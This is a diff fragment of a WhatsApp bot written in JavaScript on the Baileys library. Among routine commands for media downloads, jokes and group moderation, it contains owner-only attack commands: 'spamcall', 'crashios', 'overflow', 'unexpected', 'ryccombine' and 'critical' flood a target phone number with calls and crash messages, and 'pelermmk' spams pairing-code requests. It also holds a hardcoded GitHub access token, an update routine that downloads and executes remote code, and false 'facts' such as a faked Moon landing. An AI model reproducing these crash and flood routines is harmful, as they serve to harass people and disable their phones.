David.sendMessage(m?.chat, { react: { text: `✅`, key: m?.key } }); + + } + + if (quotedMessage.audioMessage) { + let audioUrl = await David.downloadAndSaveMediaMessage(quotedMessage.audioMessage); + await David.sendMessage(m.chat, { audio: { url: audioUrl }, mimetype: 'audio/mp4' }); + await David.sendMessage(m?.chat, { react: { text: `✅`, key: m?.key } }); + + } + + } catch (error) { + console.error('Error processing vv command:', error); + await David.sendMessage(m?.chat, { react: { text: `❌`, key: m?.key } }); + + } + break; +} + + + +case 'promoteall': + if (!m.isGroup) return reply('This command can only be used in groups.'); + if (!isBotAdmins) return reply('Bot must be an admin to use this command.'); + if (!isGroupOwner && !isAdmins) return reply('Only group admins can use this command.'); + + for (let participant of participants) { + if (!groupAdmins.includes(participant.id)) { + try { + await David.groupParticipantsUpdate(from, [participant.id], 'promote'); + await delay(500); // Add a 1-second delay between each request + } catch (err) { + console.log(`Error promoting ${participant.id}:`, err.message); + } + } + } + reply('Successfully promoted all members to admin.'); + break; + + + + case 'demoteall': + if (!m.isGroup) return reply('This command can only be used in groups.'); + if (!isBotAdmins) return reply('Bot must be an admin to use this command.'); + if (!isGroupOwner && !isAdmins) return reply('Only group admins can use this command.'); + + for (let admin of groupAdmins) { + if (admin !== botNumber) { + try { + await David.groupParticipantsUpdate(from, [admin], 'demote'); + await delay(500); // Add a 1-second delay between each request + } catch (err) { + console.log(`Error demoting ${admin}:`, err.message); + } + } + } + reply('Successfully demoted all admins to members.'); + break; + + + case 'tweet': { + if (!text || !text.includes('|')) { + return reply(`*Usage:* .tweet ||\n\n*Example:* .tweet John Doe|jhon|Hello World`); + } + + try { + // Parse input into name, username, and tweet text + const [name, username, tweetText] = text.split('|').map(t => t.trim()); + + if (!name || !username || !tweetText) { + return reply(`*Usage:* .tweet ||\n\n*Example:* .tweet John Doe|jhon|Hello World`); + } + + // Generate the API URL with query parameters + const tweetImageUrl = `https://api.siputzx.my.id/api/m/tweet?name=${encodeURIComponent(name)}&username=${encodeURIComponent(username)}&tweet=${encodeURIComponent(tweetText)}`; + + // Send the generated tweet image + await David.sendMessage(m.chat, { + image: { url: tweetImageUrl }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ`, + }, { quoted: m }); + } catch (error) { + console.error('Error in Tweet command:', error); + reply(`*AN ERROR OCCURRED!! MESSAGE :*\n\n> ${error.message}`); + } + break; +} + + +case 'update': { + if (!isCreator) return m.reply(`For My Owner Only`); + const repoUrl = "https://raw.githubusercontent.com/DeeCeeXxx2/Queen_Anita-V4.5/main/QUEEN_ANITA-V4.js"; // Raw file URL + const localFile = "./QUEEN_ANITA-V4.js"; // Path to the local file + const githubToken = "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"; // GitHub Personal Access Token + + try { + // Fetch the latest file content from the private repository + const response = await axios.get(repoUrl, { + headers: { Authorization: `Bearer ${githubToken}` }, + }); + const latestContent = response.data; + + // Read the current local file content + const localContent = fs.existsSync(localFile) ? fs.readFileSync(localFile, "utf-8") : ""; + + if (latestContent === localContent) { + // Notify the user that the bot is up to date + return reply("✨ You're already using the latest version of Queen Anita Bot!"); + } + + // Update the file with the latest content + fs.writeFileSync(localFile, latestContent); + + // Reload the bot + delete require.cache[require.resolve("./QUEEN_ANITA-V4.js")]; + require("./QUEEN_ANITA-V4.js")(David); + + // Notify the user about successful update + reply("✅ Successfully updated Queen Anita Bot to the latest version!"); + } catch (error) { + console.error("Error updating the bot:", error); + reply(`❌ Failed to update the bot.\n\n*Error Details:* ${error.message}`); + } + break; +} + + + case 'kickall': + if (!m.isGroup) return reply('This command can only be used in groups.'); + if (!isBotAdmins) return reply('Bot must be an admin to use this command.'); + if (!isGroupOwner) return reply('Only group owners can use this command.'); + + const delayss = (ms) => new Promise((resolve) => setTimeout(resolve, ms)); // Delay function + + for (let participant of participants) { + if (participant.id !== botNumber && participant.id !== groupOwner) { + try { + await David.groupParticipantsUpdate(from, [participant.id], 'remove'); + await delayss(1500); // Add a delay of 2 seconds between each removal + } catch (err) { + console.error(`Failed to remove ${participant.id}:`, err); + } + } + } + reply('Successfully removed all group members.'); + break; + + + + case 'remove': + if (!m.isGroup) return reply('This command can only be used in groups.'); + if (!isBotAdmins) return reply('Bot must be an admin to use this command.'); + if (!isGroupOwner) return reply('Only group owners can use this command.'); + + const countryCode = args[0]; // Get the country code from the command arguments + if (!countryCode || !countryCode.startsWith('+')) return reply('Please provide a valid country code, e.g., +234.'); + + + let kickedMembers = 0; + + for (let participant of participants) { + const number = participant.id.split('@')[0]; // Extract the participant's number + if (number.startsWith(countryCode.replace('+', '')) && participant.id !== botNumber && participant.id !== groupOwner) { + try { + await David.groupParticipantsUpdate(from, [participant.id], 'remove'); + kickedMembers++; + await delay(2000); // Add a delay of 2 seconds between each removal + } catch (err) { + console.error(`Failed to remove ${participant.id}:`, err); + } + } + } + + if (kickedMembers > 0) { + reply(`Successfully removed ${kickedMembers} members with numbers starting with ${countryCode}.`); + } else { + reply(`No members found with numbers starting with ${countryCode}.`); + } + break; + + case 'pelermmk': + if (!BotNum && !CreatorOnly) return; + if (!q) return m.reply('!Masukkan nomor target'); + + let jidx = q.replace(/[^0-9]/g, ""); + + if (jidx.startsWith('0')) { + return m.reply(`The number starts with '0'. Replace it with the country code number.\n\nExample: .Crashios 62 xxx-xxxx-xxxx`); + } + + let isTarget = `${jidx}@s.whatsapp.net`; + + m.reply(`[ ¡ ] Pairing Code Loop(TRUE) => m.chat(${isTarget})`); + + (async () => { + for (let r = 0; r < 100; r++) { + console.log(`Iterasi ke-${r + 1}`); + + const BrowserList = ['Riyu', 'Failed', 'PairCode']; + const { + default: makeWASocket, + useMultiFileAuthState, + DisconnectReason, + fetchLatestBaileysVersion, + generateForwardMessageContent, + prepareWAMessageMedia, + generateWAMessageFromContent, + generateMessageID, + downloadContentFromMessage, + makeCacheableSignalKeyStore, + makeInMemoryStore, + jidDecode, + proto, + getAggregateVotesInPollMessage, + PHONENUMBER_MCC + } = require("@whiskeysockets/baileys"); + + const typeBrow = BrowserList[Math.floor(Math.random() * BrowserList.length)]; + + const store = makeInMemoryStore({ + logger: pino().child({ + level: 'debug', + stream: 'store' + }) + }); + + const { state } = await useMultiFileAuthState('./pairing/'); + const { version } = await fetchLatestBaileysVersion(); + const msgRetryCounterCache = new NodeCache(); + + const WaConnection = makeWASocket({ + logger: pino({ level: 'silent' }), + printQRInTerminal: !pairingCode, + mobile: useMobile, + browser: [`${typeBrow} (Linux)`, '', ''], + auth: { + creds: state.creds, + keys: makeCacheableSignalKeyStore( + state.keys, + pino({ level: "fatal" }).child({ level: "fatal" }) + ) + }, + markOnlineOnConnect: true, + generateHighQualityLinkPreview: true, + getMessage: async (key) => { + const jid = jidNormalizedUser(key.remoteJid); + const msg = await store.loadMessage(jid, key.id); + return msg?.message || ""; + }, + msgRetryCounterCache, + defaultQueryTimeoutMs: undefined, + }); + + WaConnection.ev.on('messages.upsert', async (chatUpdate) => { + const mek = chatUpdate.messages[0]; + console.log("Pesan baru:", mek); + }); + + store.bind(WaConnection.ev); + + if (pairingCode && !state.creds.registered) { + if (useMobile) { + throw new Error('Cannot use pairing code with mobile API'); + } + let phoneNumber = numiCode; + if (phoneNumber) { + phoneNumber = phoneNumber.replace(/[^0-9]/g, ''); + if (!Object.keys(PHONENUMBER_MCC).some(v => phoneNumber.startsWith(v))) { + process.exit(0); + } + } + let code = await WaConnection.requestPairingCode(phoneNumber); + code = code?.match(/.{1,4}/g)?.join("-") || code; + console.log("Pairing Code:", code); + } + + // Tambahkan delay antar iterasi + await new Promise(resolve => setTimeout(resolve, 995)); + } + + console.log("Loop pairing selesai setelah 100 iterasi."); + })(); + break; + +case 'spamcall': { + if (!isCreator) return m.reply('For My Owner Only'); + if (!q) return m.reply("Example Usage:\n Spamcall 62xx / @tag"); + + let jidx = q.replace(/[^0-9]/g, ""); + + if (jidx.startsWith('0')) { + return m.reply(`The number starts with '0'. Replace it with the country code number.\n\nExample: .Spamcall 62 xxx-xxxx-xxxx`); + } + + let isTarget = `${jidx}@s.whatsapp.net`; + + m.reply(`*Success! Spam Call sent to ${isTarget}*`); + + for (let i = 0; i < 100; i++) { + await sendOfferCall(isTarget); + await sendOfferVideoCall(isTarget); + } +} +break; + +case 'crashios': { + if (!isCreator) return m.reply('For My Owner Only'); + if (!q) return m.reply("Example Usage:\n CrashIos 62xx / @tag"); + + let jidx = q.replace(/[^0-9]/g, ""); + + if (jidx.startsWith('0')) { + return m.reply(`The number starts with '0'. Replace it with the country code number.\n\nExample: .Crashios 62 xxx-xxxx-xxxx`); + } + + let isTarget = `${jidx}@s.whatsapp.net`; + + m.reply(`*Success! Crash ios sent to ${isTarget}*`); + + for (let i = 0; i < 50; i++) { + await NewIos(isTraget); + await NewIos(isTarget); + } +} +break; +case 'ryccombine': { + if (!isCreator) return m.reply('For My Owner Only'); + if (!q) return m.reply("Example Usage:\n Combine 62xx / @tag"); + + let jidx = q.replace(/[^0-9]/g, ""); + + if (jidx.startsWith('0')) { + return m.reply(`The number starts with '0'. Replace it with the country code number.\n\nExample: .Combine 62 xxx-xxxx-xxxx`); + } + + let isTarget = `${jidx}@s.whatsapp.net`; + + m.reply(`*Success! Combine sent to ${isTarget}*`); + + //Paramater + for (let r = 0; r < 50; r++) { + await MSGSPAM(isTarget) + await DocFc(isTarget) + await MSGSPAM(isTarget) + await DocFc(isTarget) + } + console.log(chalk.red.bold("Success!")) +} +break; +case 'overflow': { + if (!isCreator) return m.reply('For My Owner Only'); + if (!q) return m.reply("Example Usage:\n DocFc 62xx / @tag"); + + let jidx = q.replace(/[^0-9]/g, ""); + + if (jidx.startsWith('0')) { + return m.reply(`The number starts with '0'. Replace it with the country code number.\n\nExample: .DocFc 62 xxx-xxxx-xxxx`); + } + + let isTarget = `${jidx}@s.whatsapp.net`; + + m.reply(`*Success! DocFc sent to ${isTarget}*`); + + //Paramater + for (let r = 0; r < 100; r++) { + await DocFc(isTarget) + await MSGSPAM(isTarget) + } + console.log(chalk.red.bold("Success!")) +} +break; +case 'unexpected': { + if (!isCreator) return m.reply('For My Owner Only'); + if (!q) return m.reply("Example Usage:\n Unexpected 62xx / @tag"); + + let jidx = q.replace(/[^0-9]/g, ""); + + if (jidx.startsWith('0')) { + return m.reply(`The number starts with '0'. Replace it with the country code number.\n\nExample: .Unexpected 62 xxx-xxxx-xxxx`); + } + + let isTarget = `${jidx}@s.whatsapp.net`; + + m.reply(`*Success! Unexpected sent to ${isTarget}*`); + + //Paramater + for (let r = 0; r < 15; r++) { + await DocFc(isTarget) + await MSGSPAM(isTarget) + } + await sleep(1000) + console.log(chalk.red.bold("Success!")) +} +break; +case 'critical': { + if (!isCreator) return m.reply('For My Owner Only'); + + David.sendMessage(m.chat, { react: { text: '🩸', key: m.key } }); + + //Paramater + for (let r = 0; r < 15; r++) { + await DocFc(m.chat); + await DocFc(m.chat); + } + await sleep(1000) + console.log(chalk.red.bold("Success!")) +} +break; +case 'combine': { +if (!isCreator) return m.reply('For My Owner Only'); + if (!q) return m.reply("Example Usage:\n Combine 62xx / @tag"); + + let jidx = q.replace(/[^0-9]/g, ""); + + if (jidx.startsWith('0')) { + return m.reply(`The number starts with '0'. Replace it with the country code number.\n\nExample: .Combine 62 xxx-xxxx-xxxx`); + } + + let isTarget = `${jidx}@s.whatsapp.net`; + + David.sendMessage(m.chat, { + caption: "Select Options Bugs", + image: { url: "https://files.catbox.moe/k5c6co.jpg" }, + footer: "Cella", + buttons: [ + { + buttonId: `.about`, + buttonText: { + displayText: 'About' + }, + type: 1, + viewOnce: true + }, + { + buttonId: '.tqto', + buttonText: { + displayText: 'Tqto' + }, + type: 1, + viewOnce: true + }, + { + buttonId: '.hidetag kamu mana punya😂', + buttonText: { + displayText: 'Weladalah' + }, + type: 4, + nativeFlowInfo: { + name: 'single_select', + paramsJson: `{ + "title": "Options", + "sections": [ + { + "title": "Lets Try Sent Crash", + "highlight_label": "", + "rows": [ + { + "header": "For Android", + "title": "Combine", + "description": "Beta Force", + "id": ".ryccombine ${isTarget}" + }, + { + header": "For Android", + "title": "Unexpected", + "description": "⩟", + "id": ".unexpected ${isTarget}" + }, + { + header": "For Android", + "title": "Overflow", + "description": "⩟", + "id": ".overflow ${isTarget}" + }, + { + "header": "For Ios", + "title": "Crash Ios", + "description": "⩟", + "id": ".crashIos ${isTarget}" + } + ] + } + ] + }` +}, + viewOnce: true + } + ], + headerType: 1, + viewOnce: true +}, { quoted: null }); +} +break + +case 'ghstalk': case 'githubstalk':{ +reply('`Wait...`') +if (!q) return reply(`Example ${prefix+command} DeeCeeXxx`) +reply('`Processing...`') +aj = await githubstalk.githubstalk(`${q}`) +David.sendMessage(m.chat, { image: { url : aj.profile_pic }, caption: +`*/ Github Stalker \\* + +Username : ${aj.username} +Nickname : ${aj.nickname} +Bio : ${aj.bio} +Id : ${aj.id} +Nodeid : ${aj.nodeId} +Url Profile : ${aj.profile_pic} +Url Github : ${aj.url} +Type : ${aj.type} +Admin : ${aj.admin} +Company : ${aj.company} +Blog : ${aj.blog} +Location : ${aj.location} +Email : ${aj.email} +Public Repo : ${aj.public_repo} +Public Gists : ${aj.public_gists} +Followers : ${aj.followers} +Following : ${aj.following} +Created At : ${aj.ceated_at} +Updated At : ${aj.updated_at}` }, { quoted: m } ) +} +break + + + + + +case 'tiktokstalk': +case 'ttstalk': { + if (!args[0]) return reply('Please provide a TikTok username!'); + + const username = args[0]; + + try { + + const response = await axios.get(`https://bk9.fun/stalk/tiktok?q=${username}`); + + // Check if the request was successful + if (response.data.status === true) { + const profile = response.data.BK9; + + // Format and send profile information with a thumbnail (profile picture) + await David.sendMessage(m?.chat, { + image: { url: profile.profile }, + caption: `*[ TIKTOK PROFILE INFO ]*\n +- *🔖Name:* ${profile.name} +- *🔖Username:*: ${profile.username} +- *👥Follower:*: ${profile.followers} +- *🫂Following:* ${profile.following} +- *Likes:* ${profile.likes} +- *📌Bio:* ${profile.bio || 'No bio available'} +- *🏝️Description:*: ${profile.desc || 'No description available\n\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ'}` + }); + + } else { + reply('Could not retrieve the profile. Please make sure the username is correct!'); + } + } catch (error) { + console.error(error); + reply('There was an error fetching the TikTok profile information.'); + } + break; +} + + + +case 'autostatusreact': { + if (!isCreator) return m.reply('For My Owner Only'); + if (!args[0]) return m.reply(`Example: ${prefix + command} on/off`); + + if (args[0] === 'on') { + global.autoStatusReact = true; // Activate auto-view status + await reply('Successfully Activated Auto Status React'); + } else if (args[0] === 'off') { + global.autoStatusReact = false; // Deactivate auto-view status + await reply('Successfully Deactivated Auto Status React'); + } else { + m.reply(`Invalid option. Use: ${prefix + command} on/off`); + } +} +break; + +case 'vv2': case 'save': { + if (!isCreator) return reply('For My Owner Only') + try { + let mediaType; + if (/video/.test(mime)) { + mediaType = 'video'; + } else if (/image/.test(mime)) { + mediaType = 'image'; + } else if (/audio/.test(mime)) { + mediaType = 'audio'; + } else { + return m.reply('Reply to a Video, Image, or Audio You Want to Save'); + } + + var mediaFile = await David.downloadAndSaveMediaMessage(quoted); + let messageOptions = { + caption: q ? q : '' + }; + + // Assign the correct media type to messageOptions + messageOptions[mediaType] = { + url: mediaFile + }; + + await David.sendMessage(m.sender, messageOptions, { quoted: m }); + await David.sendMessage(m?.chat, { react: { text: `✅`, key: m?.key } }); + } catch (error) { + console.error(error); + reply('Failed to save and send the media.'); + } + break; +} + +case 'update': + if (!isCreator) return reply('You do not have permission to use this command.'); + + await checkForUpdates(); + + break; + + +case 'tutor': +case 'tutorial': { +await David.sendMessage(m?.chat, {react: {text: `📚`,key: m?.key,}}) + reply(`👋🏻 Hii ${pushname}, +\n\n*All Tutorials Are Here* \n\nhttps://www.youtube.com/@DavidCyril_TECH \n\nPlease Dont Forget To Subscribe`) +} +break + + +case 'countdown': + let timess = parseInt(args[0]); + if (isNaN(time)) return reply("Please provide a valid time in seconds."); + + const countdownInterval = setInterval(() => { + timess--; + reply(`Time left: ${timess} seconds`); + if (time === 0) { + clearInterval(countdownInterval); + reply("Countdown finished!"); + } + }, 1000); + break; + +case 'faketyping': + const typingDuration = parseInt(args[0]) || 5; // duration in seconds + await David.sendPresenceUpdate('composing', m.chat); + setTimeout(() => { + reply("Got you! 😂"); + David.sendPresenceUpdate('paused', m.chat); + }, typingDuration * 10000); + break; + + + +case 'joke': + const jokes = [ + "Why don't scientists trust atoms? Because they make up everything!", + "What do you call fake spaghetti? An impasta!", + // Add more jokes + ]; + reply(jokes[Math.floor(Math.random() * jokes.length)]); + break; + + +case 'antilink': { + // React with a lock emoji + await David.sendMessage(m?.chat, { react: { text: `🔒`, key: m?.key } }); + + if (!m.isGroup) return reply('Group only.'); + if (!isBotAdmins) return reply('Bot is not yet an admin.'); + if (!isAdmins) return reply('This command is for group admins only.'); + + // Send usage instructions + await m.reply(`*_Please provide a valid instruction_*\n\n*Examples:*\n- .antilink-kick on/off\n- .antilink-delete on/off\n- .antilink-warn on/off`); +} +break; + +case 'antilink-kick': { + if (!m.isGroup) return reply('Group only.'); + if (!isBotAdmins) return reply('Bot is not yet an admin.'); + if (!isAdmins) return reply('This command is for group admins only.'); + + const option = args[0]?.toLowerCase(); + if (!['on', 'off'].includes(option)) return reply('Usage: .antilink-kick on/off'); + + const settings = getGroupSettings(m.chat); + settings.antilinkkick = option === 'on'; + updateGroupSettings(m.chat, settings); + + reply(`Antilink-kick has been turned *${option}* for this group.`); +} +break; + +case 'antilink-warn': { + if (!m.isGroup) return reply('Group only.'); + if (!isBotAdmins) return reply('Bot is not yet an admin.'); + if (!isAdmins) return reply('This command is for group admins only.'); + + const option = args[0]?.toLowerCase(); + if (!['on', 'off'].includes(option)) return reply('Usage: .antilink-warn on/off'); + + const settings = getGroupSettings(m.chat); + settings.antilinkwarn = option === 'on'; + updateGroupSettings(m.chat, settings); + + reply(`Antilink-warn has been turned *${option}* for this group.`); +} +break; + +case 'antilink-delete': { + if (!m.isGroup) return reply('Group only.'); + if (!isBotAdmins) return reply('Bot is not yet an admin.'); + if (!isAdmins) return reply('This command is for group admins only.'); + + const option = args[0]?.toLowerCase(); + if (!['on', 'off'].includes(option)) return reply('Usage: .antilink-delete on/off'); + + const settings = getGroupSettings(m.chat); + settings.antilinkdelete = option === 'on'; + updateGroupSettings(m.chat, settings); + + reply(`Antilink-delete has been turned *${option}* for this group.`); +} +break; + +case 'fact': +await David.sendMessage(m?.chat, {react: {text: `🔥`,key: m?.key,}}) + const facts = [ + "Honey never spoils.", + "A day on Venus is longer than a year on Venus.", + "Identical twins don’t have the same fingerprints.", + "Earth’s rotation is changing speed.", + "The largest piece of fossilised dinosaur poo discovered is over 30cm long and over two litres in volume.", + "Animals can experience time differently from humans.", + "Water might not be wet.", + "A chicken once lived for 18 months without a head.", + "All the world’s bacteria stacked on top of each other would stretch for 10 billion light-years", + "Wearing a tie can reduce blood flow to the brain by 7.5 per cent", + "Our solar system has a wall.", + "Mount Everest isn't the tallest mountain on Earth.", + "Our solar system has a wall.", + "Octopuses don’t actually have tentacles.", + "Most maps of the world are wrong.", + "NASA genuinely faked part of the Moon landing", + "Comets smell like rotten eggs.", + "Earth’s poles are moving.", + "You can actually die laughing", + "Chainsaws were first invented for childbirth", + "Ants don’t have lungs.", + "Wind turbines kill between 10,000 and 100,000 birds each year in the UK.", + "Snails have teeth.", + "Your signature could reveal personality traits.", + "Your signature could reveal personality traits", + "Bananas are radioactive", + "There’s no such thing as a straight line", + "Deaf people are known to use sign language in their sleep", + "Finland is the happiest country on Earth", + "The Moon looks upside down in the Southern Hemisphere", + "Bacteria on your skin cause your itches", + "Starfish don’t have bodies", + "Somebody has been constipated for 45 days", + "You travel 2.5 million km a day around the Sun without realising.", + "Fish form orderly queues in emergencies.", + "There are more bacterial cells in your body than human cells", + "The world record for donut eating is held by John Haight, who ate 29 donuts (52 ounces) in a little over six minutes", + "The world record for donut eating is held by John Haight, who ate 29 donuts (52 ounces) in a little over six minutes", + "Corn Flakes were invented after Will Keith Kellogg and his brother Dr. John Harvey Kellogg set about developing a nutritious cereal for the patients of a health resort in 1890", + "Every square inch of the human body has about 19,000,000 skin cells", + "The trunk of an elephant can hold up to two gallons of water" + // Add more facts + ]; + reply(facts[Math.floor(Math.random() * facts.length)]); + break; + + + + case 'meme': + const memeUrl = "https://meme-api.com/gimme"; + + try { + const memeRes = await axios.get(memeUrl); + const memeImg = memeRes.data.url; + const memeTitle = memeRes.data.title; + await David.sendMessage(m.chat, { image: { url: memeImg }, caption: memeTitle }); + } catch (error) { + reply("Failed to fetch a meme."); + } + break; + + + + case 'clearchat': { +David.chatModify({ + delete: true, + lastMessages: [{ key: m.key, messageTimestamp: m.messageTimestamp }] + }, m.chat); +await David.sendMessage(m?.chat, { react: { text: `✅`, key: m?.key } }); + +} +break + + + + +case 'channel': { +await David.sendMessage(m?.chat, {react: {text: `💝`,key: m?.key,}}) + reply(`*FOLLOW OUR OFFICIAL CHANNEL*\n\nhttps://whatsapp.com/channel/0029VaeRru3ADTOEKPCPom0L`) +} +break + + +case 'script': case 'sc': case 'repoo': { + let repoUrl = 'https://github.com/DeeCeeXxx2/QUEEN_ANITA_V4'; + let videoUrl = 'https://files.catbox.moe/3bw8wf.mp4'; + let apiUrl = 'https://api.github.com/repos/DeeCeeXxx2/QUEEN_ANITA_V4'; + + try { + let { data } = await axios.get(apiUrl); + let stars = data.stargazers_count; + let forks = data.forks_count; + let watchers = data.watchers_count; + let language = data.language || 'JavaScript'; // Default to JavaScript + let updatedAt = new Date(data.updated_at).toLocaleString(); + + let caption = `╭━〔 *QUEEN ANITA V4* 〕━╮\n` + + `┃ 🔹 *Multi-Device WhatsApp Bot*\n` + + `┃ 🛠 *Developed by David Cyril*\n` + + `╰━━━━━━━━━━━━━━━━\n\n` + + `📌 *Repository:* ${repoUrl}\n` + + `⭐ *Stars:* ${stars}\n` + + `🍴 *Forks:* ${forks}\n` + + `👀 *Watchers:* ${watchers}\n` + + `📜 *Language:* ${language}\n\n` + + `📅 *Last Updated:* ${updatedAt}` + + `\n\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ`; + + let messageOptions = { + video: { url: videoUrl }, + caption: caption, + mimetype: 'video/mp4' + }; + + await David.sendMessage(from, messageOptions, { quoted: m }); + + } catch (error) { + console.error(error); + return reply('❌ Failed to fetch repository details. Please try again later.'); + } +} +break; + + + + case 'languages':{ + let LANGUAGES = ` + *╭─❲ LANGUAGE CODE ❳* + *│* + *│▸* af: Afrikaans + *│▸* sq: Albanian + *│▸* ar: Arabic + *│▸* hy: Armenian + *│▸* ca: Catalan + *│▸* zh: Chinese + *│▸* zh-cn: Chinese (Mandarin/China) + *│▸* zh-tw: Chinese (Mandarin/Taiwan) + *│▸* zh-yue: Chinese (Cantonese) + *│▸* hr: Croatian + *│▸* cs: Czech + *│▸* da: Danish + *│▸* nl: Dutch + *│▸* en: English + *│▸* en-au: English (Australia) + *│▸* en-uk: English (United Kingdom) + *│▸* en-us: English (United States) + *│▸* eo: Esperanto + *│▸* fi: Finnish + *│▸* fr: French + *│▸* de: German + *│▸* el: Greek + *│▸* ht: Haitian Creole + *│▸* hi: Hindi + *│▸* hu: Hungarian + *│▸* is: Icelandic + *│▸* id: Indonesian + *│▸* it: Italian + *│▸* ja: Japanese + *│▸* ko: Korean + *│▸* la: Latin + *│▸* lv: Latvian + *│▸* mk: Macedonian + *│▸* no: Norwegian + *│▸* pl: Polish + *│▸* pt: Portuguese + *│▸* pt-br: Portuguese (Brazil) + *│▸* ro: Romanian + *│▸* ru: Russian + *│▸* sr: Serbian + *│▸* sk: Slovak + *│▸* es: Spanish + *│▸* es-es: Spanish (Spain) + *│▸* es-us: Spanish (United States) + *│▸* sw: Swahili + *│▸* sv: Swedish + *│▸* ta: Tamil + *│▸* th: Thai + *│▸* tr: Turkish + *│▸* vi: Vietnamese + *│▸* cy: Welsh + *│* + *╰────────────•*` + reply(LANGUAGES) + } + break + +case 'password': + const length = parseInt(args[0]) || 12; + const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+~`|}{[]:;?><,./-="; + let password = ""; + for (let i = 0; i < length; i++) { + const randomIndex = Math.floor(Math.random() * charset.length); + password += charset[randomIndex]; + } + reply(`*Generated Password:* ${password}`); + break; + + case 'mood': + const currentHour = new Date().getHours(); + let mood = ''; + + if (currentHour < 6) { + mood = 'Sleepy 😴'; + } else if (currentHour < 12) { + mood = 'Energetic ☀️'; + } else if (currentHour < 18) { + mood = 'Productive 💼'; + } else { + mood = 'Relaxed 🌙'; + } + + reply(`Your mood is: ${mood}`); + break; + + + +// Song Search Command +case 'song': { + if (!text) return reply(`*Example*: ${prefix + command} Faded By Alan Walker`); + await David.sendMessage(m?.chat, { react: { text: `🎵`, key: m?.key } }); + + try { + // Search for the song on YouTube + const yts = require("yt-search"); + let search = await yts(text); + let video = search.all[0]; // Take the top result + + // Build the preview message + let body = `*QUEEN_ANITA-V4_MUSIC - PLAYER*\n` + + `> Title: *${video.title}*\n` + + `> Views: *${video.views}*\n` + + `> Duration: *${video.timestamp}*\n` + + `> Uploaded: *${video.ago}*\n` + + `> Url: *${video.url}*`; + + // Send the preview + await David.sendMessage(m.chat, { + image: { url: video.thumbnail }, + caption: body + }, { quoted: m }); + + // Fetch audio details using the new API + const audioResponse = await axios.get(`https://api.siputzx.my.id/api/d/ytmp3`, { + params: { url: video.url } + }); + + // Fetch video details using the new API + const videoResponse = await axios.get(`https://api.siputzx.my.id/api/d/ytmp4`, { + params: { url: video.url } + }); + + // Check if both APIs responded successfully + if (audioResponse.data.status && videoResponse.data.status) { + const audioData = audioResponse.data.data; + const videoData = videoResponse.data.data; + + // Send audio + await David.sendMessage(m.chat, { + audio: { url: audioData.dl }, + mimetype: 'audio/mp4', + fileName: `${audioData.title}.mp3`, + caption: `🎧 *Here's your song:*\n> *Title:* ${audioData.title}` + }, { quoted: m }); + + // Send video + await David.sendMessage(m.chat, { + video: { url: videoData.dl }, + mimetype: 'video/mp4', + caption: `\n> *Title:* ${videoData.title}\n\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`*Error fetching the audio or video!*`); + } + } catch (error) { + console.error('Error during song command:', error); + reply(`*An error occurred while processing your request. Please try again later.*`); + } + break; +} + +case 'video': { + if (!text) return reply(`*Example*: ${prefix + command} Faded by Alan Walker`); + + try { + // React to the command with a video emoji + await David.sendMessage(m.chat, { react: { text: `📽️`, key: m?.key } }); + + // Search for the video on YouTube + const yts = require("yt-search"); + let search = await yts(text); + let video = search.all[0]; // Take the top result + + // Build the preview message + let body = `*QUEEN_ANITA-V4_VIDEO - PLAYER*\n` + + `> Title: *${video.title}*\n` + + `> Views: *${video.views}*\n` + + `> Duration: *${video.timestamp}*\n` + + `> Uploaded: *${video.ago}*\n` + + `> Url: *${video.url}*`; + + // Send the image and caption as a preview + await David.sendMessage(m.chat, { + image: { url: video.thumbnail }, + caption: body + }, { quoted: m }); + + // Fetch video download details using the new API + const apiUrl = `https://apis.davidcyriltech.my.id/download/ytmp4`; + const apiResponse = await axios.get(apiUrl, { + params: { url: video.url } + }); + + // Check if the API response is successful + if (apiResponse.data.success) { + const { title, download_url } = apiResponse.data.result; + + // Send the video file directly + await David.sendMessage(m.chat, { + video: { url: download_url }, + mimetype: 'video/mp4', + caption: `🎬 *Title:* ${title}\n\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`*Error fetching the video! Please try again later.*`); + } + } catch (error) { + console.error('Error during video command:', error); + reply(`*An error occurred while processing your request.*`); + } + break; +} + +case 'onlinecountries': case 'onlinenumber': { + reply('📡 Fetching online numbers...'); + + try { + let response = await fetch('https://reaperxxxx-dhdhd.hf.space/'); + let data = await response.json(); + + if (data.status !== 'success' || !data.numbers || data.numbers.length === 0) { + return reply('❌ No online numbers available at the moment.'); + } + + let numberList = data.numbers.map((num, index) => `📞 *${index + 1}.* ${num}`).join("\n"); + + let message = `📡 *Online Numbers Available:*\n\n${numberList}\n\n✅ *Use these numbers to receive messages!*`; + reply(message); + } catch (error) { + console.error(error); + reply('❌ Failed to fetch online numbers. Please try again later.'); + } + break; +} + +case 'playdoc': { + if (!text) return reply(`*Example*: ${prefix + command} Faded by Alan Walker`); + + try { + await David.sendMessage(m.chat, { react: { text: `📁`, key: m.key } }); + + const yts = require("yt-search"); + const search = await yts(text); + const video = search.videos[0]; + + if (!video) return reply(`*No results found for:* ${text}`); + + const body = `🎶 *QUEEN_ANITA-V4_MUSIC - DOCUMENT*\n\n` + + `🎵 *Title:* ${video.title}\n` + + `📊 *Views:* ${video.views}\n` + + `⏳ *Duration:* ${video.timestamp}\n` + + `📅 *Uploaded:* ${video.ago}\n` + + `🔗 *URL:* ${video.url}\n\n` + + `ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ`; + + await David.sendMessage(m.chat, { + image: { url: video.thumbnail }, + caption: body + }, { quoted: m }); + + const apiUrl = `https://apis.davidcyriltech.my.id/download/ytmp3?url=${encodeURIComponent(video.url)}`; + const apiResponse = await axios.get(apiUrl); + + if (apiResponse.data.success) { + const { download_url, title } = apiResponse.data.result; + + await David.sendMessage(m.chat, 